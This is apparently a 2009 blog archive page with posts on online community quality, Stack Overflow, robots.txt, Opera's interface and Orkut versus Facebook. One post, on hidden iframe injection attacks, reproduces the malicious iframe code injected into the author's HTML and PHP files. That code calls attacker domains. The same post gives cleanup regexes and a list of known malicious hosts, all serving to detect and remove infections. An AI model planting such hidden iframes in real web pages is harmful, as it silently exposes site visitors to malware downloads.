Archive for the 'Internet' category

Broken windows theory & online communities

Apr 02 2009 Published by Niyaz PK under General,Internet

People reflect their surroundings very much in their actions, even more than what we think they do. They react to situations based on the ambiance of their surroundings rather than according to the behavioral traits they developed over time.

The broken window theory conveys this simple yet powerful idea:

Consider a building with a few broken windows. If the windows are not repaired, the tendency is for vandals to break a few more windows. Eventually, they may even break into the building, and if it’s unoccupied, perhaps become squatters or light fires inside.

Or consider a sidewalk. Some litter accumulates. Soon, more litter accumulates. Eventually, people even start leaving bags of trash from take-out restaurants there or breaking into cars.

In short, make the surroundings better and people start behaving better.

The same theory applies to online communities too. There are a lot of online communities which fostered by hosting high quality discussions and providing excellent services to the users. What happens when you start attracting a very large number of users? What happens when users start deciding what is best for them? What if their decisions are bad for the community as a whole?

Take the case of Reddit. Programming reddit used to be the place where smart programmers used to hang around and have quality discussions about the subject they care about the most, but the simple fact that reddit supported other kinds of news/content in the form of subreddits made the site a place for a lot of funny, worthless and snarky comments. Now people are more interested in taking sides in worthless arguments (about Joel Spolsky?) than serious productive discussions.

Remember that I am not ranting about the quality of the users of reddit, but what I am trying to say is that reddit as a community has become bloated. Of course reddit does have a lot of brilliant hackers as users, but the place is not like what it used to be. I doubt that there can be serious (programming) discussions in reddit anymore. Reddit is becoming more of a Digg than anything else.

Meanwhile Hacker News is trying very hard to prevent the same thing happeneing to them. It is a low-traffic news site for programmers that has very high quality content and committed contributors. A few days ago the site was mentioned in some social websites (including reddit) and a lot of traffic came in, and guess what they did? Here is what Paul Graham suggested:

We’ve had a huge spike in traffic lately, from roughly 24k daily uniques to 33k. This is a result of being mentioned on more mainstream sites. I hope this spike will subside, like past ones have. In the meantime I may temporarily hack a few things to make the site faster, like putting fewer results on threads pages.

You can help the spike subside by making HN look extra boring. For the next couple days it would be better to have posts about the innards of Erlang than women who create sites to get hired by Twitter.

That is a very bold step to take, and worth it if you take the quality of the content seriously.

It is not that the people using programming reddit and hacker news are different. Even if the same person visited both the sites, he will be more inclined to post funny remarks in reddit while he will give serious opinions in hacker news. Not that there is something bad in being humorous, but being too much funny is kinda annoying.

The next time you build your online community, build it right. Weed out the unwanted distractions. And the next time you notice a comment that adds no value to the discussion on your blog, delete it. Sometimes, deleting content build reputation faster than creating content.

Whatever you do, whatever you write, whatever you say, make it count, and the people around will give you back the same quality.

2 responses so far

Micro experts

Mar 25 2009 Published by Niyaz PK under General,Google,Internet

A hundred years ago if you wanted to learn calculus, you had to find either a book on it or people who knew calculus.

Then the internet happened.

Now you can get bleeding edge information on any given topic from the web. Ironically, that caused the problem of information overload. There is no way you can be an expert in calculus anymore. There are an awful lot of topics and sub-topics in calculus that you will not be able to learn everything in a lifetime.

What you can do is to become a micro-expert.

Two facts that you can leverage to your advantage:

  1. Google made it easy to find information on any obscure sub-topic.
  2. Google made it easy to find experts on any given sub-topic.

What this means is that you can become the world’s most knowledgeable person on any given micro-topic.

What if you were an expert in a hundred micro-topics? What if people started coming back to you for information on those hundred topics? What if you could help build something in your area of specialization? How much power would that give you? How much are you willing to fight for it?

I think the answer can change your life.

2 responses so far

Hidden iframe injection attacks

Mar 20 2009 Published by Niyaz PK under Internet,Security

[Updated on October 27, 2009 with new a version of the script]

It is a shame that after all those posts about security, some of my websites were under attack today.

Shoban and Anand emailed me about this today morning (Thanks guys) and I tried to understand what was going on. To my utter disbelief more than 10 websites hosted in the same server were affected by the attack.

All the index.* files in the server were infected with a piece of code that loaded a hidden iframe in the page.

To the html pages the following piece of code was added:

<iframe src=”http://goooogleadsence.biz/?click=8F9DA” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

To php pages it added:

echo “<iframe src=\”http://goooogleadsence.biz/?click=8F9DA\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

Asha took the effort and cleaned most of the infected files. We are monitoring the status now.

How did the worm inject the hidden iframes to my files?

There are two ways through which the worm is believed to infect your files:

1) Server is compromised

This is the most common way. Some o the websites residing in the same web server as your website may be compromised (o it may be some vulnerabilities in your web application itself) that caused the web server to be compromised. Once the server is compromised, the worm will spread to all the websites in the server.

2) Client side FTP

The worm resides in some/any of the client side PCs you use for accessing the ftp/control panel accounts of your hosting server.

When you type in the username and password for the ftp/control panel account, the worm silently reads the credentials, accesses your ftp account and infects the files in the server. It adds the above mentioned code to all index.* files.

How can I recover from a hidden iframe injection attack?

Here are a few tips that might help you:

  1. The first thing to do to prevent these kinds of attacks is to change your ftp, control panel and database passwords as soon as possible.
  2. Notify your web host about the attack and advice them to take measures against a possible server wide attack.
  3. Change the file permissions in your server to the maximum secure mode.
  4. Download all your files from the server and  check for infections. Clean the infected files.
  5. Using a good antivirus software, scan and clean every PC you use for logging into your hosting server.
  6. Never use public computers to access your server.

How do I clean infected files?

Use these regular expressions to search for all pages containig the malicious code and replace it with space:

<iframe src=\”http://[^"]*” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>

echo \”<iframe src=\\\”http://[^"]*\” width=1 height=1 style=\\\”visibility:hidden;position:absolute\\\”></iframe>\”;

You may have to write a script to automate this for all the files in the server.

I have cooked up a php script that can help you find out the infected files. Download the file from here, save it as clean.php (it is currently clean.php.txt) and upload it to the root folder of your website.

You may want to change some hardcoded values inside the file.

Then visit the url:

http://www.yourdomain.com/clean.php?c=iframe

The parameter c specifies the text to search for inside the file. The results will be something like:

Clean hidden iframes

It will search all the files in your website and if any of the files contains the given string, it will print the filename along with the number of occurrences of the string. In the above screenshot, you can see that one file is infected.

Note that the script will not remove the iframes from your files. Automated cleaning could break some of your websites. So as of now you will have to clean the files manually.

Faiz has written an advanced ASP.Net script for finding the infected files, and it can be found here.

Will my search engine rankings be affected by this attack?

Try to be fast with these steps because if a visitor see the message “This site may harm your computer” pop up when (s)he try to access your website/blog, (s)he may not return again. Remember that if the security of your website is compromised, it can affect the search engine rankings of the website. Besides, it may pave way for more sophisticated attacks.

Google will mark your site in it’s search results with a warning: “This site may harm your computer”.

Use the following link to see what google thinks about your website (give the url of your site instead of shopfloorbd.co.uk):

http://www.google.com/safebrowsing/diagnostic?site=http://shopfloorbd.co.uk

As mentioned above, you must remove the malware from your local machine using some antivirus software. AVG sees it as “Trojan Horse Downloader” and NOD32 sees it as “JS/Kryptik.B trojan”.

Note that when visiting an infected site, some antivirus softwares prompt you that “Trojan Horse Downloader”, an exe-file is trying to get loaded. Once the exe infects your machine, it will infect your server too.

Here are some more code samples caught from the wild:

<iframe src=”http://hostverify.net/?click=2730375″ width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

<iframe src=”http://hosttracker.net/?click=32431937″ width=1 height=1 style=”visibility:hidden;position:absolute”>

There are obfuscated versions of the attack code too:

<script>function c102916999516l4956a7e7c979e(l4956a7e7c9b86){…  etc.

Here is a list of some other websites that host malicious content:

gumblar.cn

martuz.cn

beladen.net

38zu.cn

googleanalytlcs.net

lousecn.cn

fqwerz.cn

d99q.cn

orgsite.info

94.247.2.0

94.247.2.195

http://mmsreader.com

http://google-ana1yticz.com

http://my2.mobilesect.info

http://thedeadpit.com

http://internetcountercheck.com

http://165.194.30.123

http://ruoo.info

gogo2me.net/

http://live-counter.net

http://klinoneshoes.info

protection-livescan.com/

http://webexperience13.com

http://q5x.ru

http://q5x.ru
gumblar.cn
martuz.cn
beladen.net
38zu.cn
googleanalytlcs.net
lousecn.cn
fqwerz.cn
d99q.cn
orgsite.info
94.247.2.0
94.247.2.195
http://mmsreader.com
http://google-ana1yticz.com
http://my2.mobilesect.info
http://thedeadpit.com
http://internetcountercheck.com
http://165.194.30.123
http://ruoo.info
gogo2me.net/
http://live-counter.net
http://klinoneshoes.info
protection-livescan.com/
http://webexperience13.com
http://q5x.ru

If you find these urls in any code in your website, that is a sure shot sign that you are infected.

76 responses so far

How can a crawler bypass robots.txt?

Mar 16 2009 Published by Niyaz PK under Internet,Security

When I wrote that robots.txt will not prevent bad crawlers from accessing your private data, a reader wondered how a crawler can bypass robots.txt.

I think the original article was clear enough. Anyway I will try again:

Imagine a sign that says “Trespassers will be prosecuted“. The sign just tells you that you are not expected to trespass. After reading the sign, you have to make up your mind whether to trespass or not. The sign itself will not stop you from proceeding further. It will just tell you that you shouldn’t.

Similarly, robots.txt just tells the crawlers that they are not expected to visit some of the pages. If the crawler wants, it can still visit those pages. This means that a bad bot can read the robots.txt file and learn which files the user wants to keep private and read those files to look for confidential data.

What this essentially means is that when they read your sign, the good guys will stop. The bad ones will not. So if you really want to stop everybody from trespassing, try build a wall around your compound rather than using a sign.

So How can a crawler bypass robots.txt?

A crawler needs to do nothing to bypass robots.txt. To the contrary, a crawler should do some extra work if it wants to follow the rules in robots.txt.

6 responses so far

Nails into the wall using Stack Overflow

Feb 09 2009 Published by Niyaz PK under Internet,Programming

Online forums and Q&A sites are very helpful in giving answers to technical questions. That is until when they are not.

In a recent Stack Overflow podcast, Jeff Attwood and Joel Spolsky illustrated how most of the online forums work (or don’t):

Jeff: Some guys come to web forums and ask programming questions and they are like “I need to bang the nail into the wall. Should I use this old shoe or should I use this glass bottle? I tried the glass bottle and it kinda  breaks the bottle, and the shoe is very inefficient”.

Jeol: Right, and people are always like “You shouldn’t be putting nails in your walls”

Instead of saying you should use a hammer, people almost always say something to the effect of you are using the wrong kind of nail.

Now, Stack Overflow adds an interesting twist to this problem by adding voting and editing features to question and answers. It is a Q&A website for programmers that doesn’t even need you to sign-up to ask or answer questions!

The voting system allows the best answers to be at the top while wiki-style editing means that anyone can edit any question/answer to make the posts better. Clever idea, and it is working too. It is the best programming Q&A website I have ever seen.

If you are a programer and still haven’t visited Stack Overflow yet, now is the time to check it out.

2 responses so far

Opera, please hire a designer

Jan 04 2009 Published by Niyaz PK under Design,Internet,Review

Opera is once again set to screw up its UI in the upcoming version 10 of the web browser.

Granted, that the new iteration of Opera is faster and bloasts loads of new features, but the UI is still such a mess to look at. See for yourself:

Opera 10 user interface

This is the default theme named Opera Standard. Couldn’t be uglier.

The last time I wrote about it, the interface was much better!

There is another themed named Windows Native which is bundled with the application. Even though it does offer a more native UI feel to Opera, it leaves a lot more to be desired too:

Opera 10 windows native skin

How can a major player like Opera ignore the usability point of its products? What makes them think that they can fool around with the UI in every new version? I cannot undersand.

It is time Opera starts analyzing the relation between user friendly user interface and market share. Opera is now a distant fifth behing IE, Firefox, Safari and Chrome in browser market share.

9 responses so far

Orkut Vs Facebook

Jan 03 2009 Published by Niyaz PK under Internet

You guys wont believe this: I have a hard time convincing some of my friends that facebook is having more users than orkut !!!

Why is there a confusion? It is because in India orkut is more popular than facebook. So they think that facebook is just a clone of orkut and it is less popular.

So I show them this statistics:

Facebook traffic is shown in red color(*). Orkut traffic is shown in blue (If you can find it at the bottom).

Orkut traffic reduced by 7.7% last year while faceook traffic increased by 69.5%.

So that is about popularity. The next time you have to explain this to anyone, it is better to show them this graph.

55 responses so far

« Newer posts Older posts »